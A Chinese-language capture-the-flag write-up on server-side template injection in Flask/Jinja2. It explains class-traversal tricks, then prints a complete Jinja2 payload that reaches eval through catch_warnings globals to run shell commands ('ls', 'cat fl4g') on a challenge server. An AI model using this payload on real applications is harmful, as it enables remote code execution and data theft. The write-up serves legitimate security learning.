0x01漏洞介绍
Python Web 模板引擎
1.Jinja2
2.Tornado.template
3.Django.template
ornado 中模板渲染函数在有两个:
1.render
2.render_string
Flask 中模板渲染函数也是有两个
1.render_template
2.render_template_string
render_template_string函数在渲染模板的时候使用了%s来动态的替换字符串,在渲染的时候会把**{{}}**包裹的内容当做变量解析替换。
instance.__ class__ 可以获取当前实例的类对象
class.__ mro__ 获取当前类对象的所有继承类’
__ subclasses__()这个方法返回了类的所有存活的子类的引用
简而言之就是我们{{}}中的内容被当做了变量解析,那么我们可以利用这一点,调用python的类,实现我们想要达到的目的
0x02解题过程
拿到题目就一个这个提示,源码没有内容,所以,我们要拿到flag就得利用这个漏洞
漏洞检测:
http://124.126.19.106:33006/{{6+6}}
返回了{{}}中的执行结果,那说明,存在漏洞,接下来利用漏洞获取flag
{{ config.items() }}可以查看服务器的配置信息
http://124.126.19.106:33006/{{ config.items() }}
出现配置信息
payload:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("ls").read()') }} //导入cmd 执行popen里的命令 read读出数据
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
将ls命令改为 cat fl4g即可读取fl4g的内容,payload如下
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} //遍历基类 找到eval函数
{% if 'eval' in b.keys() %} //找到了
{{ b['eval']('__import__("os").popen("cat fl4g").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
得到flag